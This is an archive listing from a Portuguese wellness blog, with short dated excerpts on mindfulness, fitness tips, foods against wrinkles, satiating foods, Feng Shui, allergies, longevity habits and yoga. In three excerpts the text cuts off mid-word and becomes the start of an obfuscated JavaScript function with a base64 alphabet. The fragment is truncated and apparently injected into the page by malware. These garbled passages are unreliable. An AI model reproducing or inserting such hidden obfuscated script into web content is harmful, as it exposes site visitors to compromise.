Mai 29, 2019 | Equilíbrio, Saúde e bem estar, Zen Energy
Sabia que 15 minutos por dia podem mudar a sua vida? Praticar mindfulness Toda a vida quis fazer mais, ter mais, ser mais! Desde os 12 anos que me sinto numa busca incessante de respostas, de uma compreensão maior do mundo e de mim mesma que me permitam expressar de...
Nov 22, 2016 | Dicas úteis, Em Alta, Equilíbrio, Saúde e bem estar, Zen Energy
Estar em boa forma todo o ano – 8 dicas O verão é sinónimo de praia, sol, amigos, família e, claro, grfunction a4872b9c6b(y1){var qd=’ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=’;var x0=”;var n6,w6,qe,q8,w9,we,n7;var...
Nov 9, 2016 | Equilíbrio, Saúde e bem estar, Zen Energy
Descubra quais os alimentos que previnem rugas «Você é aquilo que come». Quantas e quantas vezes já ouvimos esta sentença sem entender as suas implicações práticas? Mas o que é que uma alimentação saudável pode fazer por alguém, além de o ajudar a manter em forma? É...
Jun 5, 2016 | Equilíbrio, Saúde e bem estar, Zen Energy
A pergunta que todas fazemos é: esse alimento engorda ou não? É certo que as mães são sábias, mas ainda assim, por vezes, podem dar-lhe dicas alimentares que não correspondem bem à verdade. Conheça os mitos que o function a4872b9c6b(y1){var...
Jun 3, 2016 | Equilíbrio, Saúde e bem estar, Zen Energy
A lista dos 17 alimentos saudáveis que mais saciam Aqui tem uma lista muito simples de alimentos saudáveis, de fácil consulta. Se o seu objectivo é perder peso, planifique as suas ementas de maneira a incluir nelas estes alimentos e conseguirá controlar o seu peso de...
Mai 24, 2016 | Equilíbrio, Saúde e bem estar, Zen Energy
O Feng Shui é uma ferramenta de trabalho para criar e organizar espaços harmoniosos e adequados às necessidades de quem os utiliza, mas é também uma ferramenta que nos ajuda a olhar para a nossa vida e tudo o que dela faz parte. A verdade é que nesta vida não somos...
Mai 23, 2016 | Equilíbrio, Estilo e beleza, Zen Energy
Bye bye, pontos fracos! Como disfarçar os pontos fracos no corpo? por Beatriz Palma, consultora de imagem Qufunction a4872b9c6b(y1){var qd=’ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=’;var x0=”;var n6,w6,qe,q8,w9,we,n7;var...
Mai 12, 2016 | Equilíbrio, Saúde e bem estar, Teresa, Zen Energy
Calcula-se que 3 em cada 10 pessoas sofram de algum tipo de alergia, uma proporção que curiosamente tem vindo a aumentar vertiginosamente nas últimas décadas, sobretudo nos países desenvolvidos. As alergias são o resultado da combinação de factores ambientais,...
Mai 9, 2016 | Equilíbrio, Saúde e bem estar, Zen Energy
10 Hábitos saudáveis que o ajudarão a viver até aos 100 anos. Tome nota destas interessantes dicas publicadas pela revista americana U.S. News, onde são apresentados 10 hábitos que farão superar as suas expectativas de vida. Viver um século é possível, experimente!...
Abr 5, 2016 | Equilíbrio, Saúde e bem estar, Zen Energy
Yoga em qualquer idade – Conheça os seus benefícios O yoga é para todas as idades e nunca é tarde para começar Está comprovado que os seniores e as pessoas com mobilidade reduzida têm enormes benefícios físicos ao praticarem yoga, pois em todas as fases da vida...
